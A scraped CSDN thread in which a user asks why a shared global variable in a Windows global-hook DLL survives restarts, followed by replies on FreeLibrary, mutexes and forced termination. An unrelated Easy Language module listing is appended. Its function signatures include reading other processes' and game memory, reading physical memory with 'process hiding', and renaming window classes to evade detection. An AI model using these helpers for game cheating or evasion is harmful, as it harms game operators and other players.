DLL里的全局变量退出时不会被清空?

jkiluy111 2017-12-25 02:15:47
二把刀子,求帮助........


写了个钩子程序,在DLL里共享了一个变量,用于指向打开的共享内存

#pragma data_seg("HOOK_CALLBACK_SHARED")
...
LPCVOID lpvMem = NULL;//初始值
#pragma data_seg()

然后在dll被加载时打开共享内存,函数入口进行了判断
if(lpvMem)//已打开了就跳过初始化
{
return;
}
....
lpvMem = MapViewOfFile(hMapObject, FILE_MAP_ALL_ACCESS, 0, 0, 0); //这里是打开内存的动作

把程序退出时,俺在dll里已经写明了
if(lpvMem)
{
UnmapViewOfFile(lpvMem);
lpvMem = NULL;
}

现在效果是首次启动一切正常,然后再启动时就挂了,原因是lpvMem不为NULL,导致初始化逻辑没有走入..DLL在第一次关闭后
是没有占用的,(我直接把dll改名、删除也没提示占用),但再起lpvMem就不为NULL了...

这是为什么呐,求助
...全文
1019 21 打赏 收藏 转发到动态 举报
写回复
用AI写文章
21 条回复
切换为时间正序
请发表友善的回复…
发表回复
jkiluy111 2018-01-04
  • 打赏
  • 举报
回复
引用 19 楼 SXJIAKE 的回复:
[quote=引用 15 楼 jkiluy111 的回复:] [quote=引用 13 楼 SXJIAKE 的回复:] LoadLibrary 之后对应 FreeLibrary 了吗?如果没有的话,那全局变量自然不会重置。
我的DLL是隐式加载的,也需要free吗?求教[/quote]你说的隐式加载,应该说说根据 dll 和 def 生成 lib,链接该 lib,运行时缺少 dll 就无法运行程序吧。如果是这种,除非你人工重置全局变量,程序不退出不会释放 DLL。[/quote] DLL配布正常...
jkiluy111 2018-01-04
  • 打赏
  • 举报
回复
引用 18 楼 kyotrue 的回复:
“hook程序在退出时会手动调用函数,函数里把共享内存卸载” —— 问你的就是,你所谓的hook程序是被注入的程序,还是实行注入操作的程序,还是说自己hook自己。 如果是被注入的另一个程序,你这个释放的代码根本调用不到吧。 还有就是,你强制结束程序,当然也调用不到释放代码那里去。 你在初始化时赋值为NULL,只有在整个操作系统没有任何一个进程加载了该hook dll时,才会执行,不然不会被初始化
全局钩子,注入所有进程?退出时已写了UnhookWindowsHookEx来卸载钩子。 程序退出是正常退出的,非强杀,退出前调用了自己写得方法,里面调用 UnmapViewOfFile(lpvMem); lpvMem = NULL; 这句 然后退出后,俺把dll直接删除了,这时dll应该是没人使用了吧? 那么这个全局变量存在什么地方了?在dll的BSS段吗?
kyotrue 2017-12-29
  • 打赏
  • 举报
回复
“hook程序在退出时会手动调用函数,函数里把共享内存卸载” —— 问你的就是,你所谓的hook程序是被注入的程序,还是实行注入操作的程序,还是说自己hook自己。 如果是被注入的另一个程序,你这个释放的代码根本调用不到吧。 还有就是,你强制结束程序,当然也调用不到释放代码那里去。 你在初始化时赋值为NULL,只有在整个操作系统没有任何一个进程加载了该hook dll时,才会执行,不然不会被初始化
「已注销」 2017-12-29
  • 打赏
  • 举报
回复
引用 15 楼 jkiluy111 的回复:
[quote=引用 13 楼 SXJIAKE 的回复:] LoadLibrary 之后对应 FreeLibrary 了吗?如果没有的话,那全局变量自然不会重置。
我的DLL是隐式加载的,也需要free吗?求教[/quote]你说的隐式加载,应该说说根据 dll 和 def 生成 lib,链接该 lib,运行时缺少 dll 就无法运行程序吧。如果是这种,除非你人工重置全局变量,程序不退出不会释放 DLL。
赵4老师 2017-12-28
  • 打赏
  • 举报
回复
jkiluy111 2017-12-28
  • 打赏
  • 举报
回复
引用 14 楼 kyotrue 的回复:
你的整个流程是怎么样的,程序退出你又是怎么捕获到的?从现象上来看很像是你最后的清理工作没有被调用到
32位、64位俩个hook程序,dll里共用一块共享内存进行交互。dll初始化时把共享内存映射到hook程序内,用变量pvMem标记地址, 之后之后操作时根据pvMem != NULL判断是不是初始化了。 dll就简单的几个hook,hook程序在退出时会手动调用函数,函数里把共享内存卸载、pvMem = NULL

....
//调用UnhookWindowsHookEx卸载hook
...
if(lpvMem)
{
	UnmapViewOfFile(lpvMem);
	lpvMem = NULL;
}
//写明了卸载掉这块内存
没了... 现在是程序<再次>启动时,发现pvMem不是NULL,而是上次退出时的值.... 唯一一点是偶尔调试时由于程序bug,需要强杀那个hook程序。这个造成的?但我声明lpvMem时,已经写了 LPCVOID lpvMem = NULL; 这个变量是包裹在#pragma data_seg里的,有初始值了。
jkiluy111 2017-12-28
  • 打赏
  • 举报
回复
引用 13 楼 SXJIAKE 的回复:
LoadLibrary 之后对应 FreeLibrary 了吗?如果没有的话,那全局变量自然不会重置。
我的DLL是隐式加载的,也需要free吗?求教
kyotrue 2017-12-27
  • 打赏
  • 举报
回复
你的整个流程是怎么样的,程序退出你又是怎么捕获到的?从现象上来看很像是你最后的清理工作没有被调用到
「已注销」 2017-12-27
  • 打赏
  • 举报
回复
LoadLibrary 之后对应 FreeLibrary 了吗?如果没有的话,那全局变量自然不会重置。
jkiluy111 2017-12-27
  • 打赏
  • 举报
回复
引用 7 楼 zgl7903 的回复:
设置断点或者输出日志,调试运行 看看程序是否是按你预想的流程走的
断点后发现的效果就是DLL的初始化时,发现进程共享变量里的全局变量是上一次退出时的值,而不是俺写的 pvMem=NULL.... 俺上次退出程序后,确认了DLL已经被卸载(删除DLL再拷贝了一份)。
jkiluy111 2017-12-27
  • 打赏
  • 举报
回复
引用 9 楼 kyotrue 的回复:
[quote=引用 6 楼 jkiluy111 的回复:] [quote=引用 5 楼 kyotrue 的回复:] 没有研究过data_seg,不过你这个问题有另一种方式可以解决,那就是创建命名对象,比如使用CreateMutex、OpenMutex来创建、打开Mutex对象,通过对象是否存在,来判断你初始化过了没有
DLL逻辑很简单,不想加入更多代码。 现在临时方案是 在初始化函数加入

int SetHook(void)
{
	lpvMem = NULL;
	openSharedMemory();
	if(!lpvMem)
	{
		goto END;
	}
来解决,因为初始化函数是手动调用的,可以确保一个dll生命周期内只有一次调用来避免这问题,但到底是为啥还是没搞明白.................. [/quote]
引用 6 楼 jkiluy111 的回复:
[quote=引用 5 楼 kyotrue 的回复:] 没有研究过data_seg,不过你这个问题有另一种方式可以解决,那就是创建命名对象,比如使用CreateMutex、OpenMutex来创建、打开Mutex对象,通过对象是否存在,来判断你初始化过了没有
DLL逻辑很简单,不想加入更多代码。 现在临时方案是 在初始化函数加入

int SetHook(void)
{
	lpvMem = NULL;
	openSharedMemory();
	if(!lpvMem)
	{
		goto END;
	}
来解决,因为初始化函数是手动调用的,可以确保一个dll生命周期内只有一次调用来避免这问题,但到底是为啥还是没搞明白.................. [/quote] 从这个看不出你的openSharedMemory函数做了什么,我的方案并没有加多少代码,也就几行。[/quote] openSharedMemory里打开了共享内存,取了些数据。关键代码是
pvMem = MapViewOfFile(hMapObject, FILE_MAP_ALL_ACCESS, 0, 0, 0);
映射了地址,记录在进程共享变量里的pvMem。之后的操作先判断pvMem是否为空而运行。 由于程序退出了,共享内存已经不再映射,下次运行程序时应再次打开共享内存。打开共享内存的前提是pvMem应为NULL,但现在的效果是再次启动时pvMem还是上次退出的值,导致没有再执行打开共享内存的动作,pvMem指向的是非法地址,后续操作出错。 临时将DLL的入口处把pvMem设成NULL来强迫打开共享内存来回避,但这个问题是怎么造成的没有头绪.........
jkiluy111 2017-12-27
  • 打赏
  • 举报
回复
引用 8 楼 worldy 的回复:
多进程共享的内存当然不会自动清理,你退出时候,自己清理一下
不是共享内存里的内容没有清,是进程共享变量里打开共享内存的句柄没有清。 相当于俺的程序退出了,再启动发现全局变量的值还是上次退出的值。
worldy 2017-12-26
  • 打赏
  • 举报
回复
多进程共享的内存当然不会自动清理,你退出时候,自己清理一下
zgl7903 2017-12-26
  • 打赏
  • 举报
回复
设置断点或者输出日志,调试运行 看看程序是否是按你预想的流程走的
kyotrue 2017-12-26
  • 打赏
  • 举报
回复
引用 6 楼 jkiluy111 的回复:
[quote=引用 5 楼 kyotrue 的回复:] 没有研究过data_seg,不过你这个问题有另一种方式可以解决,那就是创建命名对象,比如使用CreateMutex、OpenMutex来创建、打开Mutex对象,通过对象是否存在,来判断你初始化过了没有
DLL逻辑很简单,不想加入更多代码。 现在临时方案是 在初始化函数加入

int SetHook(void)
{
	lpvMem = NULL;
	openSharedMemory();
	if(!lpvMem)
	{
		goto END;
	}
来解决,因为初始化函数是手动调用的,可以确保一个dll生命周期内只有一次调用来避免这问题,但到底是为啥还是没搞明白.................. [/quote]
引用 6 楼 jkiluy111 的回复:
[quote=引用 5 楼 kyotrue 的回复:] 没有研究过data_seg,不过你这个问题有另一种方式可以解决,那就是创建命名对象,比如使用CreateMutex、OpenMutex来创建、打开Mutex对象,通过对象是否存在,来判断你初始化过了没有
DLL逻辑很简单,不想加入更多代码。 现在临时方案是 在初始化函数加入

int SetHook(void)
{
	lpvMem = NULL;
	openSharedMemory();
	if(!lpvMem)
	{
		goto END;
	}
来解决,因为初始化函数是手动调用的,可以确保一个dll生命周期内只有一次调用来避免这问题,但到底是为啥还是没搞明白.................. [/quote] 从这个看不出你的openSharedMemory函数做了什么,我的方案并没有加多少代码,也就几行。
jkiluy111 2017-12-25
  • 打赏
  • 举报
回复
引用 5 楼 kyotrue 的回复:
没有研究过data_seg,不过你这个问题有另一种方式可以解决,那就是创建命名对象,比如使用CreateMutex、OpenMutex来创建、打开Mutex对象,通过对象是否存在,来判断你初始化过了没有
DLL逻辑很简单,不想加入更多代码。 现在临时方案是 在初始化函数加入

int SetHook(void)
{
	lpvMem = NULL;
	openSharedMemory();
	if(!lpvMem)
	{
		goto END;
	}
来解决,因为初始化函数是手动调用的,可以确保一个dll生命周期内只有一次调用来避免这问题,但到底是为啥还是没搞明白..................
kyotrue 2017-12-25
  • 打赏
  • 举报
回复
没有研究过data_seg,不过你这个问题有另一种方式可以解决,那就是创建命名对象,比如使用CreateMutex、OpenMutex来创建、打开Mutex对象,通过对象是否存在,来判断你初始化过了没有
jkiluy111 2017-12-25
  • 打赏
  • 举报
回复
引用 3 楼 chengbar 的回复:
[quote=引用 2 楼 jkiluy111 的回复:] [quote=引用 1 楼 chengbar 的回复:] 使用线程局部存储
线程局部存储?? 本来就是为了做全局共享而使用了进程共享变量[/quote] 跟你共不共享没关系,你要解决DLL重入的问题[/quote] #pragma data_seg #pragma data_seg() 这里不是有确保全局变量的共用问题了吗?重入也是这一份呐
sevancheng 2017-12-25
  • 打赏
  • 举报
回复
引用 2 楼 jkiluy111 的回复:
[quote=引用 1 楼 chengbar 的回复:] 使用线程局部存储
线程局部存储?? 本来就是为了做全局共享而使用了进程共享变量[/quote] 跟你共不共享没关系,你要解决DLL重入的问题
jkiluy111 2017-12-25
  • 打赏
  • 举报
回复
引用 1 楼 chengbar 的回复:
使用线程局部存储
线程局部存储?? 本来就是为了做全局共享而使用了进程共享变量
加载更多回复(1)
模块名称:茶凉专用模块 作者:茶凉 版本:2.0 本模块可以编程更简单,仅仅用核心支持库编写。 @备注: 官方论坛:http://bbs.clrje.cn/ 官方QQ群:92716369 ------------------------ -------------------------- ------------------------------ .版本 2 .子程序 按键, , 公开, 执行模拟按键(无返回值) .参数 键代码, 整数型, , 键代码 .参数 状态, 整数型, 可空, 可空:按键(按下+放开) 1 #按键_ 3 #按下_ 4 #放开_ 如果状态大于等于5则为按下与放开之间的延,可解决某些屏蔽 .参数 功能键方式, 逻辑型, 可空, 默认为普通键, 真:功能键方式模拟,如ctrl键win键home键光标键等 .子程序 按键消息, , 公开, 向指定窗口句柄的窗口中发送按键消息(无返回值) .参数 窗口句柄, 整数型, , 接收消息的窗口句柄 .参数 键代码, 整数型, , 按键的键代码 .参数 状态, 整数型, 可空, 可空:按键(3+4) 1 #按键 2 功能键方式(按下+放开) 3 #按下 4 #放开 .参数 继承, 逻辑型, 可空, 默认为假:不继到子窗口 真:继承到所有子级窗口 .子程序 按键消息处理, 逻辑型, 公开 .参数 hwnd, 整数型 .子程序 按下控件, , 公开, 向指定按钮(控件)发送按钮鼠标单击的消息(无返回值) .参数 临按钮句柄, 整数型, , 按钮控件的句柄 .参数 临状态, 整数型, 可空, 可空:单击 3 #按下 4 #放开 .子程序 按组合键, , 公开, 执行模拟组合按键(无返回值) .参数 键码, 整数型, , 键代码 .参数 功能键码1, 整数型, , 功能键代码 .参数 功能键码2, 整数型, 可空, 功能键代码(可选) .参数 功能键码3, 整数型, 可空, 功能键代码(可选) .子程序 按组合键消息, , 公开, 向指定窗口句柄的窗口中发送组合按键的消息,游戏中有效!(无返回值) .参数 窗口句柄, 整数型, , 接收消息的窗口句柄 .参数 键代码, 整数型, , 按键的键代码 .参数 功能键码1, 整数型, , 功能键的键代码 .参数 功能键码2, 整数型, 可空, 功能键的键代码(可选) .参数 功能键码3, 整数型, 可空, 功能键的键代码(可选) .参数 继承, 逻辑型, 可空, 默认为假:不继到子窗口 真:继承到所有子级窗口 .子程序 八到十, 整数型, 公开, 将八进制转换成十进制(返回十进制整数) .参数 八进制文本, 文本型, , 欲转换的八进制文本 .子程序 彩色字体, , 公开, 彩色动态字体 感谢[梦飞鸟] .参数 内容, 文本型 .参数 窗口句柄, 整数型 .参数 随机渐变, 逻辑型, 可空, 不选不随机颜色 .参数 字体抖动, 逻辑型, 可空 .子程序 查看字节集1, 文本型, 公开, 以易语言文本方式查看字节集,返回文本内容 如:{ 102, 204, 14, 5 } .参数 字节集, 字节集, , 欲查看的字节集 .参数 起始位置, 整数型, 可空, 查看字节集的起始查看位置 .参数 查看长度, 整数型, 可空, 查看的长度,默认为查看全部 .子程序 查看字节集2, 文本型, 公开, 以十六进制文本方式查看字节集,返回文本内容 如:45 3F 58 1D 0A .参数 字节集, 字节集, , 欲查看的字节集 .参数 起始位置, 整数型, 可空, 查看字节集的起始查看位置 .参数 查看长度, 整数型, 可空, 查看的长度,默认为查看全部 .子程序 超级截图, 字节集, 公开, 截取窗口或屏幕中指定区域图片(返回图片字节集,失败返回空字节集) .参数 窗口句柄, 整数型, 可空, 默认为屏幕中.指定窗口句柄,则以窗口客户区内坐标点 .参数 左上顶点_X, 整数型, 可空, 截取图片范围的左上角横坐标,留空为0 .参数 左上顶点_Y, 整数型, 可空, 截取图片范围的左上角纵坐标,留空为0 .参数 右下顶点_X, 整数型, 可空, 截取图片范围的右下角横坐标,小于左上顶点_X则为最大值-1 默认为最大值 .参数 右下顶点_Y, 整数型, 可空, 截取图片范围的右下角纵坐标,小于左上顶点_Y则为最大值-1 默认为最大值 .参数 是否后台, 逻辑型, 可空, 默认为假:可见到的颜色点 真:后台窗口内颜色点 .参数 色深, 整数型, 可空, 所截取的图片位深度,默认为16位(8,16,24,32) .子程序 超级延迟, , 公开, 无资源占用的延(无返回值) .参数 等待间, 整数型 .子程序 超级延, , 公开, 高精度延,cpu占用低,窗口不卡死,一次最大可延几年 (无返回值) .参数 延间隔, 整数型, , 1000微秒 = 1毫秒 ; 1000毫秒 = 1秒 .参数 延单位, 整数型, 可空, 可空:毫秒 0 毫秒 1 微秒 2 秒 3 分 4 小 5 天 .子程序 窗口激活, 逻辑型, 公开, 激活指定窗口,将窗口设置到前台 .参数 句柄, 整数型, , 欲带到前台的窗口 .子程序 窗口禁止, 逻辑型, 公开, 在窗口中允许或禁止所有鼠标及键盘输入(成功返回真,失败返回假) .参数 窗口句柄, 整数型, , 欲禁止鼠标键盘输入的窗口或控件的句柄 .参数 是否禁止, 逻辑型, 可空, 默认为真:禁止 假:取消禁止 .子程序 窗口禁止关闭, 逻辑型, 公开, 控制窗口关闭按钮,(允许/禁止)关闭窗口 (成功返回真,失败返回假) .参数 窗口句柄, 整数型, , 欲禁止或解除禁止的窗口句柄 .参数 禁止关闭, 逻辑型, 可空, 可空为禁止关闭, 假:允许关闭, 真:禁止关闭 .子程序 窗口是否当前, 逻辑型, 公开, 判断指定窗口是否为当前窗口(为当前接收按键消息的窗口返回真,否则返回假) .参数 进程名, 文本型, 可空, 欲判断窗口的程序进程名(注意区分大小写) .参数 窗口类名, 文本型, 可空, 欲判断窗口的类名(注意区分大小写) .参数 窗口标题, 文本型, 可空, 欲判断窗口的标题关键字 .子程序 窗口透明化, 逻辑型, 公开, 设置窗口透明状态(成功返回真,失败返回假) .参数 临句柄, 整数型, , 设置透明化窗口的句柄 .参数 临透明度, 字节型, 可空, 设置整个窗口的透明度 取值范围是[0,255] 可空为不设定此参数 .参数 临透明色, 整数型, 可空, (#颜色)指定某颜色为完全透明(完全透明处不属于该窗口) 可空为不指定 .参数 鼠标穿透, 逻辑型, 可空, 可空为假 真:窗口被鼠标穿透 .子程序 窗口图标隐藏, , 公开, 将窗口的图标清除 .参数 窗口句柄, 整数型 .子程序 窗口销毁, , 公开, 将指定窗口销毁(无返回值) .参数 临句柄, 整数型, , 欲销毁窗口的句柄 .子程序 窗口移动, , 公开, 移动指定窗口(无返回值) .参数 临句柄, 整数型, , 欲移动窗口的句柄 .参数 窗口新左边, 整数型, 可空, 可空:原左边不变 .参数 窗口新顶边, 整数型, 可空, 可空:原顶边不变 .参数 窗口新宽度, 整数型, 可空, 可空:原宽度不变 .参数 窗口新高度, 整数型, 可空, 可空:原高度不变 .子程序 窗口隐藏显示, 逻辑型, 公开, 显示隐藏指定句柄的窗口(如果显示则隐藏:返回假,如果隐藏则显示:返回真) .参数 窗口句柄, 整数型, 可空, 要显示/隐藏的窗口句柄(可空:则显示/隐藏上次的窗口,如果为初次使用则为当前窗口) .子程序 窗口置父, 整数型, 公开, 指定一个窗口的新父(返回前一个父窗口的句柄) .参数 窗口句柄, 整数型, , 子窗口句柄 .参数 新父, 整数型, 可空, 新的父窗口句柄 默认为0:置顶级窗口 -1:嵌入桌面 .子程序 窗口置焦点, 逻辑型, 公开, 将输入焦点设到指定的窗口。如有必要,会激活窗口.不能对最小化窗口设置(成功返回真,失败返回假) .参数 句柄, 整数型, , 欲置焦点的窗口句柄 .子程序 窗口状态控制, 逻辑型, 公开, 控制窗口状态(成功返回真,失败返回假) .参数 临句柄, 整数型, , 窗口句柄 .参数 状态, 整数型, , 0 隐藏取消激活 1 还原激活 2 最小化激活 3 最大化激活 4 还原 6 最小化取消激活 7 最小化 9 还原激活 .子程序 窗口最大化, , 公开, 将指定窗口最大化(无返回值) .参数 临句柄, 整数型, , 欲最大化窗口的句柄 .子程序 窗口最前, , 公开, 将指定窗口设为总在最前.(注意参数2,真:总在最前) .参数 句柄, 整数型, , 欲设置的窗口句柄 .参数 是否总在最前, 逻辑型, 可空, 默认为假:取消总在最前 真:总在最前 .子程序 窗口最小化, , 公开, 将指定窗口最小化(无返回值) .参数 临句柄, 整数型, , 欲最小化窗口的句柄 .子程序 创建程序快捷方式, 逻辑型, 公开, 创建程序快捷方式 (成功返回真,失败返回假) .参数 lnk名称, 文本型, , 快捷方式保存全路径文件名 .参数 目标, 文本型, , 指向的文件全路径文件名 .参数 参数文本, 文本型, 可空, 执行文件的参数 .参数 图标文件, 文本型, 可空, 图标文件的路径 可空:为空用目标的第一个图标 .参数 运行方式, 整数型, 可空, 1,常规方式,3,最大化,7,最小化 .参数 备注, 文本型, 可空, 快方式的备注信息 .参数 快捷键, 文本型, 可空, 启动快捷方式的快捷键 如“Ctrl+Alt+Y” .子程序 创建定器, 整数型, 公开, 返回成功创建定器的标志 .参数 窗口句柄, 整数型, 可空, 为空则为系统级定器(通常为空) .参数 钟周期, 整数型, , 毫秒级单位 1秒=1000毫秒 .参数 定器事件处理, 子程序指针, , 定器触发事件 .子程序 创建多级目录, 逻辑型, 公开, 成功返回真,失败返回假 .参数 目录路径, 文本型 .子程序 创建进程, 整数型, 公开, 创建一个程序进程(成功返回进程ID,失败返回0) .参数 程序路径, 文本型, , 欲创建进程的执行路径 .参数 命令行, 文本型, 可空, 附加上程序路径后的命令行参数 .参数 运行目录, 文本型, 可空, 通常留空,特殊情况下使用 .参数 进程结构, 进程结构, 参考 可空, 接收进程结构信息的变量 .子程序 创建网页快捷方式, 逻辑型, 公开, 创建网页快捷方式 (成功返回真,失败返回假) .参数 保存路径, 文本型, , 全路径文件名 .参数 网页地址, 文本型, , URL .参数 ico图标, 文本型, 可空, 图标路径 可空:默认为网页快捷方式图标 .参数 快捷键, 整数型, 可空, CTRL+ALT+? (A=1601 B=1602 C=1603 ...) .子程序 创建线程, 整数型, 公开, 创建一个线程来启动子程序(返回线程句柄) .参数 线程子程序, 子程序指针, , 欲启动的线程子程序指针 .参数 传递参数, 整数型, 可空 .子程序 打开网页, 逻辑型, 公开, 打开指定网址(成功返回真,失败返回假) .参数 网址, 文本型, , 欲打开的网页地址 .子程序 弹出光驱, 逻辑型, 公开, 弹出光驱门。 mciSendString .子程序 到短路径, 文本型, 公开, 取指定路径的短路径名(返回收缩后的路径,无效返回空文本)如: c:\program files\ 收缩后为:C:\PROGRA~1\ .参数 文件名, 文本型, , 原路径 .子程序 到任意进制, 文本型, 公开, 可以将从二进制到三十六进制的数值随意进行转换(返回转换后的文本) .参数 被转换文本, 文本型, , 欲被转换的文本(不可以转换负数以及小数) .参数 被转换进制, 整数型, , 被转换文本的进制(2-36之间) .参数 转换的进制, 整数型, , 要转换到的进制(2-36之间) .子程序 到十进制, 整数型, 公开, 将2,8,16进制文件转换到10进制数值(返回十进制数) .参数 文本, 文本型, , 2,8,16进制文件 .参数 进制, 整数型, 可空, 默认为十六进制 2为二进制,8为八进制,16为16进制 .子程序 读磁盘扇区, 逻辑型, 公开 .参数 扇区号, 整数型 .参数 扇区内容, 字节集 .子程序 读内存长整数型, 长整数型, 公开, 从内存中读取长整数型数据,失败返回失败内容 .参数 进程ID, 整数型, , 进程ID .参数 地址, 整数型, , 内存地址 .参数 失败内容, 长整数型, 可空, 读内存失败后返回值的内容 默认为-1 .子程序 读内存短整数型, 短整数型, 公开, 从内存中读取短整数型数据,失败返回失败内容 .参数 进程ID, 整数型, , 进程ID .参数 地址, 整数型, , 内存地址 .参数 失败内容, 短整数型, 可空, 读内存失败后返回值的内容 默认为-1 .子程序 读内存日期间型, 日期间型, 公开, 从内存中读取日期间型数据,失败将返回100年1月1日 .参数 进程ID, 整数型, , 进程ID .参数 地址, 整数型, , 内存地址 .子程序 读内存双精度小数型, 双精度小数型, 公开, 从内存中读取双精度小数型数据,失败返回失败内容 .参数 进程ID, 整数型, , 进程ID .参数 地址, 整数型, , 内存地址 .参数 失败内容, 双精度小数型, 可空, 读内存失败后返回值的内容 默认为-1 .子程序 读内存文本型, 文本型, 公开, 从内存中读取文本型数据(返回文本,失败返回0字节长度空内容) .参数 进程ID, 整数型 .参数 内存地址, 整数型 .子程序 读内存小数型, 小数型, 公开, 从内存中读取小数型数据,失败返回失败内容 .参数 进程ID, 整数型, , 进程ID .参数 地址, 整数型, , 内存地址 .参数 失败内容, 小数型, 可空, 读内存失败后返回值的内容 默认为-1 .子程序 读内存整数型, 整数型, 公开, 从内存中读取整数型数据,失败返回失败内容 .参数 进程ID, 整数型 .参数 内存地址, 整数型 .参数 失败内容, 整数型, 可空, 读内存失败后返回值的内容 默认为-1 .子程序 读内存子程序指针, 子程序指针, 公开, 从内存中读取子程序指针,失败返回空指针 .参数 进程ID, 整数型, , 进程ID .参数 地址, 整数型, , 内存地址 .子程序 读内存字节集, 字节集, 公开, 从内存中读取字节集数据(返回字节集,失败返回0字节长度的空字节集) .参数 进程ID, 整数型, , 进程ID .参数 地址, 整数型, , 内存地址 .参数 长度, 整数型, 可空, 欲读取内存数据的长度 (留空则智能读取) .子程序 读内存字节型, 字节型, 公开, 从内存中读取一个字节,失败返回失败内容(0-255) .参数 进程ID, 整数型, , 进程ID .参数 地址, 整数型, , 内存地址 .参数 失败内容, 字节型, 可空, 读内存失败后返回的内容 默认为0 .子程序 读物理内存, 字节集, 公开, 失败返回{},成功返回相应数据 (进程隐藏) .参数 地址, 长整数型 .参数 长度, 整数型, , <=4096 .子程序 读游戏内存文本, 文本型, 公开, 读取内存地址数据 .参数 进程ID, 整数型, , 游戏进程标识符 .参数 基址, 文本型, , 欲读取的内存基址(十六进制) .参数 偏移1, 文本型, 可空, 没有请留空 (十六进制) .参数 偏移2, 文本型, 可空, 没有请留空 (十六进制) .参数 偏移3, 文本型, 可空, 没有请留空 (十六进制) .参数 偏移4, 文本型, 可空, 没有请留空 (十六进制) .子程序 读游戏内存整数, 整数型, 公开, 读取内存地址数据 .参数 进程ID, 整数型, , 游戏进程标识符 .参数 基址, 文本型, , 欲读取的内存基址(十六进制) .参数 偏移1, 文本型, 可空, 没有请留空 (十六进制) .参数 偏移2, 文本型, 可空, 没有请留空 (十六进制) .参数 偏移3, 文本型, 可空, 没有请留空 (十六进制) .参数 偏移4, 文本型, 可空, 没有请留空 (十六进制) .子程序 对话框_打开保存, 文本型, 公开, 返回打开文件名,取消则返回空文本。 .参数 父窗口, 整数型 .参数 过滤器, 文本型, , 例:"文本文件(*.txt),*.txt|excel与word,*.xls;*.doc" .参数 类型, 整数型 .子程序 对话框_颜色选择, 整数型, 公开 .参数 父窗口, 整数型 .子程序 对话框_字体选择, 整数型, 公开 .参数 父窗口, 整数型 .参数 返回结果, 模块_字体信息, 参考 .子程序 二到十, 整数型, 公开, 将二进制转换成十进制(返回十进制整数) .参数 二进制文本, 文本型, , 欲转换的二进制 .子程序 发送字符串, , 公开, sendkeys 将一个或多个按键消息发送到指定窗口,就如同用键盘进行输入一样 (无返回值) .参数 窗口标题, 文本型, 可空, 向指定窗口发送.窗口标题关键字 .参数 文本, 文本型, , 字符串表达式,指定要发送的按键消息(详情见百度sendkeys词条) .参数 等待, 逻辑型, 可空, 指定等待方式的值 默认为假:按键发送出去立刻返回 真:按键消息在返回到过程之前加以处理 .子程序 发送字符串1, , 公开, sendkeys 将一个或多个按键消息发送到活动窗口,就如同用键盘进行输入一样 (无返回值) .参数 文本, 文本型, , 字符串表达式,指定要发送的按键消息(详情见百度sendkeys词条) .参数 等待, 逻辑型, 可空, 指定等待方式的值 默认为假:按键发送出去立刻返回 真:按键消息在返回到过程之前加以处理 .子程序 复制文件夹, 逻辑型, 公开, 成功返回真,失败返回假 .参数 被复制的文件夹, 文本型 .参数 复制到的文件夹, 文本型 .参数 是否处理事件, 逻辑型, 可空 .子程序 更改标题, 逻辑型, 公开, 更改指定窗口句柄的窗口标题(成功返回真,失败返回假) .参数 窗口句柄, 整数型, 可空, 可空:则更改当前窗口的标题 .参数 新标题, 文本型, , 新的窗口标题 .子程序 更改类名, 文本型, 公开, 更改一次指定类名(必须在欲更改的类名的程序运行前-执行)(如果成功则返回更改后的类名) .参数 新类名, 文本型, 可空, 更改后的新类名 可空为随机类名5-20位随机字母数字的组合 .参数 旧类名, 文本型, 可空, 欲更改的类名 可空则默认为易语言程序窗口类名“Afx:10000000:b:10011:1900015:0” .子程序 关闭光驱, 逻辑型, 公开, 关闭光驱门。 mciSendString .子程序 关闭系统, , 公开, 提供关闭或重新启动计算机 .参数 关闭方式, 整数型, 可空, 默认为1 关机 2 重启 3 注销 .参数 是否强制执行, 逻辑型, 可空, 是否不等待其它程序退出,直接执行,默认为假 .子程序 还原字节集1, 字节集, 公开, 还原易语言形式字节集的文本到字节集 .参数 文本, 文本型, , 如: { 102, 204, 14, 5 } .子程序 还原字节集2, 字节集, 公开, 还原十六进制字符串形式字节集的文本到字节集 .参数 文本, 文本型, , 如: 45 3F 58 1D 0A .子程序 剪贴板_枚举当前可用格式, 整数型, 公开, 返回可用格式数量和可用格式类型(相当于CountClipboardFormats和EnumClipboardFormats),数值具体含义请上网搜索。 .参数 结果数组, 整数型, 参考 可空 数组, 留空则只返回可用格式数量。 .子程序 剪贴板_清空, 逻辑型, 公开, 清空剪贴板内所有数据。 .子程序 剪贴板_取HTML, 文本型, 公开, 取剪贴板中的HTML数据。 .子程序 剪贴板_取图片, 字节集, 公开, 取已复制到剪贴板的图片数据(包括从网页上复制下来的图片),返回的图片格式为位图。 .子程序 剪贴板_取文本, 文本型, 公开, 取已复制到剪贴板中的文本。 .子程序 剪贴板_取文件, 整数型, 公开, 取已经复制到剪贴板的文件名,返回文件个数。 .参数 文件列表, 文本型, 参考 可空 数组, 留空则只返回文件数量。 .参数 状态, 逻辑型, 参考 可空, 用来接收文件列表中这些文件的状态:返回真代表这些文件待移动(即用户对文件执行了剪切操作);返回假代表这些文件待粘贴(即用户对文件执行了复制操作)。 .子程序 剪贴板_置图片, 逻辑型, 公开, 将指定图片复制到剪贴板。 .参数 图片, 字节集 .子程序 剪贴板_置文本, 逻辑型, 公开, 将指定文本复制到剪贴板。 .参数 文本, 文本型 .子程序 剪贴板_置文件, 逻辑型, 公开, 将指定文件复制到剪贴板,成功返回真,失败返回假。 .参数 文件列表, 文本型, 数组, 欲复制到剪贴板的文件列表 .参数 状态, 逻辑型, 可空, 设置当前的文件状态,默认为假。真表示文件待移动(相当于对文件列表的文件执行剪切操作);假表示文件待粘贴(相当于对文件列表的文件执行复制操作)) .子程序 进程结束, 逻辑型, 公开, 终止一个进程(成功返回真,失败返回假) .参数 进程ID, 整数型, , 欲结束的进程ID .子程序 进程枚举, 整数型, 公开, 失败返回0,成功返回进程数量(该命令为高级成员命令) .参数 进程信息, 进程信息型, 可空 数组, 返回的进程信息 数组 .子程序 进程取ID, 整数型, 公开, 取指定进程的进程ID(返回第一个进程ID,失败返回-1) .参数 进程名, 文本型, , 程序进程名 .参数 区分大小写, 逻辑型, 可空, 默认不区分进程名大小写 .子程序 进程取ID数组, 整数型, 公开, 取指定进程名称的所有进程的进程ID(返回进程ID数目,没有返回0) .参数 进程ID数组, 整数型, 可空 数组, 存放进程ID数组变量 .参数 进程名, 文本型, , 程序进程名 .参数 区分大小写, 逻辑型, 可空, 默认不区分进程名大小写 .子程序 进程是否存在, 逻辑型, 公开, 判断指定进程是否存在(此判断与进程其它信息无关联)(存在返回真,不存在或失败返回假) .参数 进程名, 文本型, , 欲检测的进程名 .子程序 进程是否有效, 逻辑型, 公开, 判断进程ID是否有效(有效返回真,无效或失败返回假) .参数 进程ID, 整数型, , 欲检测的进程标识 